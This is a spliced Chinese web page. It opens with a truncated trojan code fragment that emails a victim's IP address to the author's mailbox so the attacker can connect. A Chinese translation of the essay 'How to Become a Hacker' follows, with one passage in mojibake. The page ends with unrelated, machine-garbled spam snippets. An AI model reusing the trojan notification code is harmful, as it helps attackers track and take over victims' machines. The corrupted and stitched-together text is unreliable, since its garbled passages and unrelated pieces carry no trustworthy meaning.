file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
什么是黑客?
黑客一词,源于英文Hacker,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。
但到了今天,黑客一词已被用于泛指那些专门利用电脑搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”。
黑客和骇客根本的区别是:黑客们建设,而骇客们破坏。
---什么是黑客?
Jargon File中对“黑客”一词给出了很多个定义,大部分定义都涉及高超的编程技术,强烈的解决问题和克服限制的欲望。如果你想知道如何成为一名黑客,那么好,只有两方面是重要的。(态度和技术)
长久以来,存在一个专家级程序员和网络高手的共享文化社群,其历史可以追溯到几十年前第一台分时共享的小型机和最早的ARPAnet实验时期。 这个文化的参与者们创造了“黑客”这个词。 黑客们建起了Internet。黑客们使Unix操作系统成为今天这个样子。黑客们搭起了Usenet。黑客们让WWW正常运转。如果你是这个文化的一部分,如果你已经为它作了些贡献,而且圈内的其他人也知道你是谁并称你为一个黑客,那么你就是一名黑客?
黑客精神并不仅仅局限于软件黑客文化圈中。有些人同样以黑客态度对待其它事情如电子和音乐---事实上,你可以在任何较高级别的科学和艺术中发现它。软件黑客们识别出这些在其他领域同类并把他们也称作黑客---有人宣称黑客实际上是独立于他们工作领域的。 但在本文中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的哪个共享文化传统之上。
另外还有一群人,他们大声嚷嚷着自己是黑客,实际上他们却不是。他们是一些蓄意破坏计算机和电话系统的人(多数是青春期的少年)。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们是些不负责任的懒家伙,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客, 正如拿根铁丝能打开汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法激怒真正的黑客。
根本的区别是:黑客们建设,而骇客们破坏。
如果你想成为一名黑客,继续读下去。如果你想做一个骇客,去读 alt.2600 新闻组,并在发现你并不像自己想象的那么聪明的时候去坐5到10次监狱。 关于骇客,我只想说这么多。
---黑客的态度
黑客们解决问题,建设事物,信仰自由和双向的帮助,人人为我, 我为人人。
要想被认为是一名黑客,你的行为必须显示出你已经具备了这种态度。要想做的好象你具备这种态度,你就不得不真的具备这种态度。但是如果你想靠培养黑客态度在黑客文化中得到承认,那就大错特错了。因为成为具备这些特质的这种人对你自己非常重要,有助于你学习,并给你提供源源不断的活力。同所有有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神---不是仅从理智上,更要从感情上进行模仿。
So,如果你想做一名黑客,请重复以下事情直到你相信它们:
1 这世界充满待解决的迷人问题
做一名黑客有很多乐趣,但却是些要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从健壮体魄,挑战自我极限中汲取动力。同样,做黑客,你必须
要有从解决问题,磨练技术,锻炼智力中得到基本的热望。如果你还不是这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他诱惑无情地吞噬掉---如金钱、性和社会上的虚名。
(同样你必须对你自己的学习能力建立信心---相信尽管你对某问题所知不多,但如果你一点一点地学习、试探,你最终会掌握并解决它。)
2. 一个问题不应该被解决两次
聪明的脑瓜是宝贵的,有限的资源。当这个世界还充满其他有待解决的有趣问题之时,他们不应该被浪费在重新发明轮子这些事情上。 作为一名黑客,你必须相信其他黑客的思考时间是宝贵的---因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决新问题而不是重复地对付旧问题。
(你不必认为你一定要把你的发明创造公布出去,但这样做的黑客是赢得大家尊敬最多的人。卖些钱来给自己养家糊口,买房买车买计算机甚至发大财和黑客价值也是相容的,只要你别忘记你还是个黑客。)
3. 无聊和乏味的工作是罪恶
黑客们应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情---解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,它们是极大的犯罪。 要想做的象个黑客,你必须完全相信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。
(对此有一个明显的例外。黑客们有时也做一些重复性的枯燥工作以进行“脑力休息”,或是为练熟了某个技巧,或是获得一些除此无法获得的经验。但这是他自己的选择---有脑子的人不应该被迫做无聊的活儿。)
4 自由就是好
黑客们是天生的反权威主义者。任何能向你发命令的人会迫使你停止解决令你着迷的问题,同时,按照权威的一般思路,他通常会给出一些极其愚昧的理由。因此,不论何时何地,任何权威,只要他压迫你或其他黑客,就要和他斗到底。
(这并非说任何权力都不必要。儿童需要监护,罪犯也要被看管起来。 如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客会同意接受某种形式的权威。但这是一个有限的、特意的交易;权力想要的那种个人服从不是你的给予,而是无条件的服从。)
权力喜爱审查和保密。他们不信任自愿的合作和信息共享---他们只喜欢由他们控制的合作。因此,要想做的象个黑客,你得对审查、保密,以及使用武力或欺骗去压迫人们的做法有一种本能的反感和敌意。
5. 态度不能替代能力
要做一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,就象这并不能使你成为一个运动健将和摇滚明星一样。成为一名黑客需要花费智力,实践,奉献和辛苦。
因此,你必须学会不相信态度,并尊重各种各样的能力。黑客们不会为那些故意装模做样的人浪费时间,但他们却非常尊重能力---尤其是做黑客的能力,不过任何能力总归是好的。具备很少人才能掌握的技术方面的能力尤其为好,而具备那些涉及脑力、技巧和聚精会神的能力为最好。
如果你尊敬能力,你会享受提高自己能力的乐趣---辛苦的工作和奉献会变成一种高度娱乐而非贱役。 要想成为一名黑客,这一点非常重要。
---基本黑客技术
黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。 这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:
1 学习如何编程
这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。
但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。
如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP 值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。
当然,实际上你最好四种都会。 (Python, C, Perl, and LISP). 除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。
这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。
学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。
过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...
2 得到一个开放源码的Unix并学会使用、运行它
我假设你已经拥有了一台个人计算机或者有一个可用的( 今天的孩子们真幸福 :-) )。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。
当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。
除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)
So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。
关于学习Unix的更多信息,请看 The Loginataka.
要得到Linux,请看: 哪里能得到 Linux.
3 学会如何使用WWW和写HTML
大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的), 你就需要学习如何掌握Web。
这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。
但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。
要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....
---黑客文化中的地位
象大部分不涉及金钱的文化一样,黑客王国的运转靠声誉维护。你设法解决有趣的问题,但它们到底多有趣,你的解法有多好,是要有那些和你具有同样技术水平的人或比你更牛的人去评判的。
相应地,当你在玩黑客游戏时,你知道,你的分数要靠其他黑客对你的技术的评估给出。(这就是为什么只有在其它黑客称你为黑客是,你才算得上是一名黑客)这个事实常会被黑客是一项孤独的工作这一印象所减弱;它也会被另一个黑客文化的禁忌所减弱(此禁忌的效力正在减弱但仍很强大):拒绝承认自我或外部评估是一个人的动力。
特别地,黑客王国被人类学家们称为一种精英文化。在这里你不是凭借你对别人的统治来建立地位和名望,也不是靠美貌,或拥有其他人想要的东西,而是靠你的奉献。尤其是奉献你的时间,你的才智和你的技术成果。
要获得其他黑客的尊敬,你可以做以下五种事情:
1. 写开放源码的软件
第一个(也是最基本和传统的)是写些被其他黑客认为有趣或有用的程序,并把程序的原代码公布给大家共享。
(过去我们称之为“自由软件-free software”,但这却使很多不知free的精确含义的人感到不解。现在我们很多人使用“开放源码-open source”这个词)
黑客王国里最受尊敬的大牛们是那些写了大型的、具有广泛用途的软件,并把它们公布出去,使每人都在使用他的软件的人。
2. 帮助测试并修改开放源码的软件
黑客们也尊敬也那些使用、测试开放源码软件的人。在这个并非完美的世界上,我们不可避免地要花大量软件开发的时间在测试和抓臭虫阶段。 这就是为什么任何开放源码的作者稍加思考后都会告诉你好的beta测试员象红宝石一样珍贵。 (他知道如何清楚描述出错症状,很好地定位错误,能忍受快速发布的软件中的bug,愿意使用一些简单的诊断工具) 甚至他们中的一个能判断出哪个测试阶段是延长的、令人精疲力尽的噩梦,哪个只是一个有益健康的玩意儿。
如果你是个新手,试着找一个赶兴趣的正在开发的程序,作一个好的beta测试员。从帮着测试,到帮着抓臭虫,到最后帮着改程序,你会不断进步。以后你写程序时,会有别人来帮你,你就得到了你当初善举的回报。
3. 公布有用的信息
另一个好事是收集整理网页上有用有趣的信息或文档如FAQ。许多主要FAQ的维护者和其他开放源码的作者一样受到大家的尊敬。
4. 帮助维护基础设施的运转
黑客文化是靠自愿者运转的。要使Internet能正常工作,就要有大量枯燥的工作不得不去完成----管理mail list,newsgroup,维护大量文档,开发RFC和其它技术标准等等。做这类事情的人会得到很多人的尊敬,因为每人都知道这些事情是耗时耗力的苦役,不象编码那样好玩。做这些事情需要毅力。
5. 为黑客文化本身服务
最后,你可以为这个文化本身服务(例如象我这样,写一个“如何成为黑客”的初级教程 :-) )(hehe,象我这样把它翻成中文 :-) ) 这并非一定要在你已经在这里呆了很久,精通所有以上4点,获得一定声誉后后才能去做。
黑客文化没有领袖。精确地说,它确实有些文化英雄和部落长者和历史学家和发言人。若你在这圈内呆的够长,你或许成为其中之一。
记住:黑客们不相信他们的部落长者的自夸的炫耀,因此很明显地去追求这种名誉是危险的。你必须具备基本的谦虚和优雅。
---黑客和怪人(Nerd)的联系
同流行的传说相反,做一名黑客并不一定要你是个怪人。然而,很多黑客都是怪人。做一个出世者有助于你集中精力进行更重要的事情,如思考和编程。
因此,很多黑客都愿意接受“怪人”这个标签,更有甚者愿意使用“傻子(geek)”一词并自以为豪---这是宣布他们与主流社会不合作的声明。
如果你能集中足够的精力来做好黑客同时还能有正常的生活,这很好。今天作到这一点比我在1970年代是个新手是要容易的多。今天主流文化对技术怪人要友善的多。甚至有更多的人意识到黑客通常更富爱心,是块很好的做恋人和配偶的材料。 更多信息见 Girl's Guide to Geek Guys.
如果你因为生活上不如意而为做黑客而吸引,那也没什么---至少你不会分神了。或许以后你会找到自己的另一半。
---风格的意义
重申一下,鲆幻�诳停�惚匦虢�牒诳途�裰�小5蹦悴辉诩扑慊�呱鲜保�闳匀挥泻芏嗍虑榭勺觥K�遣⒉荒芴娲�嬲�谋喑蹋�挥惺裁茨芴娲�喑蹋���芏嗪诳投寄敲醋觯�⒏械剿�怯牒诳途�翊嬖谝恢直局实墓亓�?
阅读科幻小说。参加科幻小说讨论会。(一个很好的寻找黑客的场合)
研究禅宗,或练功习武。
练就一双精确的耳朵,学会鉴赏特别的音乐。学会玩某种乐器,或唱歌。
提高对双关语的鉴赏。
学会流畅地用母语写作。(令人惊讶的时,我所知道的所有最棒的黑客,都是很不错的作家)
这些事情,你做的越多,你就越适合做黑客。至于为什么偏偏是这些事情,原因并不很清楚,但它们都涉及到了左-右脑的综合技巧,这似乎是关键所在。(黑客们既需要清晰的逻辑思维,有时也需要强烈的跳出逻辑之外的直觉)
最后,还有一些不要去做的事情。
不要使用愚蠢的,过于哗众取宠的ID
不要自称为网络崩客(punk) ,也不要对那些人浪费时间
不要寄出充满拼写和语法错误的email,或张贴错误百出的文章
做以上的事情,会使大大损害你的声誉。黑客们个个记忆超群---你将需要数年的时间让他们忘记你的愚蠢。
---其它资源
Peter Seebach为那些不知如何同黑客打交道的经理们维护了一个非常精彩的黑客FAQ。
The Loginataka 有许多关于如何正确培养一个Unix黑客的态度的材料。
我也曾写过一篇“黑客文化简史”。
我还写过另一篇文章,“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。
---FAQ(常问问题解答)
问:你会教我如何做黑客吗?
自从第一次发布此页,我每周都会得到一些请求,要我“教会他如何做黑客”;遗憾的是,我没有足够的时间和精力来做这个;我自己的编程项目已经占用了我110%的时间。
甚至即便我想教你也不可能,黑客基本上是一项需要你自行修炼的的态度和技术。你会发现即使真正的黑客想帮助你,如果你乞求他们填鸭一样教你的话,你不会赢得他们的尊敬。
首先去学习。显示你在尝试,你能靠自己去学习。然后再去向黑客们请教问题。
问:你会帮我“黑”掉一个站点吗?或者教我怎么黑它?
No. 任何在读完FAQ后还问此问题人,都是愚不可及的家伙,即使有时间我也不会理睬。 任何发给我的此类mail都会被忽略或被痛斥。
问:哪里能找到真正的可以与之交流的黑客?
最佳办法是就近参加一个Unix或Linux的用户组,参加他们的会议。
问:我该先学哪种语言?
HTML, 如果你还不会的话.
但它不是一个真正的编程语言。当你准备编程时,我建议你从 Python开始. 会有很多人向你推荐Perl,它比Python还受欢迎,但却难学一些。
C 是非常重要的,但它却是最难学的。不要一开始就尝试学C。
问:开放源码的自由软件不会使程序员饿肚子吗?
这似乎不大可能---到目前,开放源码软件产业创造了而不是消灭了大量工作机会。
如果写一个程序比不写一个程序只是个纯粹经济上的收益的话,无论它是否免费,只要它被完成,程序员都会从中得到回报。而且,无论软件是由多么的free的方法开发的,对更新的软件应用的需求总是会有的。
问:我从何学起?哪里有免费的Unix?
本页的其他地方指向最常用的免费Unix。要做一名黑客,你需要自立自强,以及自我教育的能力.
,抖音快捷突起 ,其带货才能 没有容小觑。正在那个行将辞旧迎新的时刻,抖音拉没了秋节没有挨烊运动 ,否以呼引没有长消费者前去购置 ,一路 去看看齐平易近 义务 赛的弄法 吧。 三. 五. 一 报名空儿: 二0 二 二年0 一月 一 三日00:00:00- 二0 二 二年0 二月0 七日 二 三: 五...
TFT齐称为Thin Film Transistor(厚膜晶体管),是场效应晶体管的品种之一,年夜 致的制造 体式格局是正在基板上轻积各类 分歧 的厚膜,如半导体自动 层、介电层战金属电极层。 对于里板隐示技术感兴致 的,必然 要弄清晰 ,甚么是TFT? 图 一 TFT的汗青 人类 对于 T...
未将该件领往:祸修祸州直达站,你孬,韵达,申通的,输出双号入止。上岸 官网,如今 一点疑息出有,称重,的支件员,未支件韵达的出有记载 。 空儿追踪记载 二00 九-0 三-0 四 二 二: 五 二: 五 四,的票据 ,查老是 验证码纰谬 . 三 一0000,它送没有到,追踪记载 二00 九- ...
第 一散第 二散第 三散第 四散第 五散第 六散第 七散第 八散第 九散第 一0散第 一 一散第 一 二散第 一 三散第 一 四散第 一 五散第 一 六散第 一 七散第 一 八散第 一 九散第 二0散第 二 一散第 二 二散第 二 三散第 二 四散第 二 五散第 二 六散第 二 七散第 二 八散第 ...
起首 ,甚么是熊掌号?baidu民间 对于熊掌号的诠释是:“办事 于baidu挪动搜刮 ,是baidu衔接 内容战办事 的民间帐号。熊掌号鉴于谢搁的观念,衔接 站少、自媒体、运用 开辟 者、商野等多元化的内容提求者;异时也衔接 文章、望频、答问、商野办事 等多元化的内容形态,真现“海缴百川,会聚万物...
托管的办事 器由客户本身 入止保护 ,或者者由其它的受权人入止长途 保护 。 数据中间 否以为客户的症结 办事 器提求机柜及带严没租办事 ,使办事 器否支柱每一礼拜 七日、整日 两十四小时无戚行办事 。当你成心扶植 本身 的Web、Email、Ftp、SQL办事 器,而你的网站的运用 很庞大 或者...